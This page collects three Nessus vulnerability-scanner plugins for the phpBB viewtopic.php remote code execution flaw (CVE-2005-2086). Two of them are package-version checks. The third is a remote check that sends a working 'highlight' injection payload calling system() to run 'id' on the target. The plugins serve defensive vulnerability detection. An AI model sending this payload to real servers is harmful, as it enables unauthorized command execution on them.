Vulnerabilities > CVE-2005-2086 - Unspecified vulnerability in PHPbb Group PHPbb 2.0.15

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from the FreeBSD VuXML database :
#
# Copyright 2003-2019 Jacques Vidrine and contributors
#
# Redistribution and use in source (VuXML) and 'compiled' forms (SGML,
# HTML, PDF, PostScript, RTF and so forth) with or without modification,
# are permitted provided that the following conditions are met:
# 1. Redistributions of source code (VuXML) must retain the above
#    copyright notice, this list of conditions and the following
#    disclaimer as the first lines of this file unmodified.
# 2. Redistributions in compiled form (transformed to other DTDs,
#    published online in any format, converted to PDF, PostScript,
#    RTF and other formats) must reproduce the above copyright
#    notice, this list of conditions and the following disclaimer
#    in the documentation and/or other materials provided with the
#    distribution.
# 
# THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS
# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,
# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

include("compat.inc");

if (description)
{
  script_id(18928);
  script_version("1.19");
  script_cvs_date("Date: 2019/08/02 13:32:37");

  script_cve_id("CVE-2005-2086");

  script_name(english:"FreeBSD : phpbb -- remote PHP code execution vulnerability (4afacca1-eb9d-11d9-a8bd-000cf18bbe54)");
  script_summary(english:"Checks for updated package in pkg_info output");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote FreeBSD host is missing a security-related update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"FrSIRT Advisory reports :

A vulnerability was identified in phpBB, which may be exploited by
attackers to compromise a vulnerable web server. This flaw is due to
an input validation error in the 'viewtopic.php' script that does not
properly filter the 'highlight' parameter before calling the
'preg_replace()' function, which may be exploited by remote attackers
to execute arbitrary PHP commands with the privileges of the web
server."
  );
  # http://www.frsirt.com/english/advisories/2005/0904
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.frsirt.com"
  );
  # http://www.phpbb.com/phpBB/viewtopic.php?t=302011
  script_set_attribute(
    attribute:"see_also",
    value:"https://www.phpbb.com/community/viewtopic.php?t=302011"
  );
  # https://vuxml.freebsd.org/freebsd/4afacca1-eb9d-11d9-a8bd-000cf18bbe54.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?133658fa"
  );
  script_set_attribute(attribute:"solution", value:"Update the affected package.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Phpbb RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'phpBB viewtopic.php Arbitrary Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'CANVAS');

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:phpbb");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:freebsd:freebsd");

  script_set_attribute(attribute:"vuln_publication_date", value:"2005/06/28");
  script_set_attribute(attribute:"patch_publication_date", value:"2005/07/03");
  script_set_attribute(attribute:"plugin_publication_date", value:"2005/07/13");
  script_set_attribute(attribute:"generated_plugin", value:"current");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2005-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"FreeBSD Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/FreeBSD/release", "Host/FreeBSD/pkg_info");

  exit(0);
}


include("audit.inc");
include("freebsd_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/FreeBSD/release")) audit(AUDIT_OS_NOT, "FreeBSD");
if (!get_kb_item("Host/FreeBSD/pkg_info")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;

if (pkg_test(save_report:TRUE, pkg:"phpbb<2.0.16")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:pkg_report_get());
  else security_hole(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were
# extracted from Gentoo Linux Security Advisory GLSA 200507-03.
#
# The advisory text is Copyright (C) 2001-2019 Gentoo Foundation, Inc.
# and licensed under the Creative Commons - Attribution / Share Alike 
# license. See http://creativecommons.org/licenses/by-sa/3.0/
#

include("compat.inc");

if (description)
{
  script_id(18607);
  script_version("1.19");
  script_cvs_date("Date: 2019/08/02 13:32:42");

  script_cve_id("CVE-2005-2086");
  script_xref(name:"GLSA", value:"200507-03");

  script_name(english:"GLSA-200507-03 : phpBB: Arbitrary command execution");
  script_summary(english:"Checks for updated package(s) in /var/db/pkg");

  script_set_attribute(
    attribute:"synopsis", 
    value:
"The remote Gentoo host is missing one or more security-related
patches."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"The remote host is affected by the vulnerability described in GLSA-200507-03
(phpBB: Arbitrary command execution)

    Ron van Daal discovered that phpBB contains a vulnerability in the
    highlighting code.
  
Impact :

    Successful exploitation would grant an attacker unrestricted access to
    the PHP exec() or system() functions, allowing the execution of
    arbitrary commands with the rights of the web server.
  
Workaround :

    Please follow the instructions given in the phpBB announcement."
  );
  # http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=302011
  script_set_attribute(
    attribute:"see_also",
    value:"https://www.phpbb.com/community/viewtopic.php?f=14&t=302011"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://security.gentoo.org/glsa/200507-03"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"The phpBB package is no longer supported by Gentoo Linux and has been
    masked in the Portage repository, no further announcements will be
    issued regarding phpBB updates. Users who wish to continue using phpBB
    are advised to monitor and refer to www.phpbb.com for more information.
    To continue using the Gentoo-provided phpBB package, please refer to
    the Portage documentation on unmasking packages and upgrade to 2.0.16."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Phpbb RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'phpBB viewtopic.php Arbitrary Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'CANVAS');

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:phpBB");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:gentoo:linux");

  script_set_attribute(attribute:"vuln_publication_date", value:"2005/07/05");
  script_set_attribute(attribute:"patch_publication_date", value:"2005/07/04");
  script_set_attribute(attribute:"plugin_publication_date", value:"2005/07/05");
  script_set_attribute(attribute:"generated_plugin", value:"current");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2005-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"Gentoo Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/Gentoo/release", "Host/Gentoo/qpkg-list");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("qpkg.inc");

if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Gentoo/release")) audit(AUDIT_OS_NOT, "Gentoo");
if (!get_kb_item("Host/Gentoo/qpkg-list")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;

if (qpkg_check(package:"www-apps/phpBB", unaffected:make_list("ge 2.0.16"), vulnerable:make_list("lt 2.0.16"))) flag++;

if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:qpkg_report_get());
  else security_hole(0);
  exit(0);
}
else
{
  tested = qpkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, "phpBB");
}

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description) {
  script_id(18589);
  script_version("1.26");

  script_cve_id("CVE-2005-2086");
  script_bugtraq_id(14086);

  script_name(english:"phpBB < 2.0.16 viewtopic.php Highlighting Feature Arbitrary PHP Code Execution");
 
 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a code
injection vulnerability." );
 script_set_attribute(attribute:"description", value:
"The remote host is running a version of phpBB that allows attackers to
inject arbitrary PHP code to the 'viewtopic.php' script to be executed
subject to the privileges of the web server userid." );
 script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/403631/30/0/threaded" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to phpBB version 2.0.16 or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_set_attribute(attribute:"d2_elliot_name", value:"Phpbb RCE");
 script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
 script_set_attribute(attribute:"metasploit_name", value:'phpBB viewtopic.php Arbitrary Code Execution');
 script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
 script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
 script_set_attribute(attribute:"canvas_package", value:'CANVAS');
 script_set_attribute(attribute:"plugin_publication_date", value: "2005/06/29");
 script_set_attribute(attribute:"patch_publication_date", value: "2005/06/28");
 script_set_attribute(attribute:"vuln_publication_date", value: "2005/06/28");
 script_cvs_date("Date: 2018/11/15 20:50:18");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_set_attribute(attribute:"cpe",value:"cpe:/a:phpbb_group:phpbb");
 script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  summary["english"] = "Checks for remote code execution vulnerability in phpBB <= 2.0.15";
  script_summary(english:summary["english"]);
 
  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2005-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("phpbb_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/phpBB");
  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);


# Test an install.
install = get_kb_item(string("www/", port, "/phpBB"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches)) {
  ver = matches[1];
  dir = matches[2];

  # First we need a forum number.
  r = http_send_recv3(method:"GET", item:string(dir, "/index.php"), port:port);
  if (isnull(r)) exit(0);
  res = r[2];

  pat = '<a href="viewforum\\.php\\?f=([0-9]+)';
  matches = egrep(pattern:pat, string:res, icase:TRUE);
  if (matches) {
    foreach match (split(matches)) {
      match = chomp(match);
      forum = eregmatch(pattern:pat, string:match);
      if (!isnull(forum)) {
        forum = forum[1];
        break;
      }
    }
  }

  if (isnull(forum)) {
    debug_print("couldn't find a forum to use!", level:1);
  }
  else {
    # Next we need a topic number.
    r = http_send_recv3(method:"GET",
      item:string(
        dir, "/viewforum.php?",
        "f=", forum
      ), 
      port:port
    );
    if (isnull(r)) exit(0);
    res = r[2];

    pat = '<a href="viewtopic\\.php\\?t=([0-9]+)';
    matches = egrep(pattern:pat, string:res, icase:TRUE);
    if (matches) {
      foreach match (split(matches)) {
        match = chomp(match);
        topic = eregmatch(pattern:pat, string:match);
        if (!isnull(topic)) {
          topic = topic[1];
          break;
        }
      }
    }

    if (isnull(topic)) {
      debug_print("couldn't find a topic to use!", level:1);
    }
    else {
      # Finally, we can try to exploit the flaw.
      # exploit method comes from public exploit released by [email protected]
      u = string(dir, "/viewtopic.php?", "t=", topic, "&", "highlight='.system(getenv(HTTP_PHP)).'");
      r = http_send_recv3(method: "GET", version: 11, item: u, port: port,
      	add_headers: make_array("PHP", "id") );
      if (isnull(r)) exit(0);
      res = r[2];

      line = egrep(pattern:"uid=[0-9]+.*gid=[0-9]+.*", string:res);
      if (line)
      {
        report = string(
          "Nessus was able to execute the command 'id' on the remote host,\n",
          "which produced the following output :\n",
          "\n",
          data_protection::sanitize_uid(output:line)
        );
        security_hole(port:port, extra:report);
        exit(0);
      }
    }
  }
}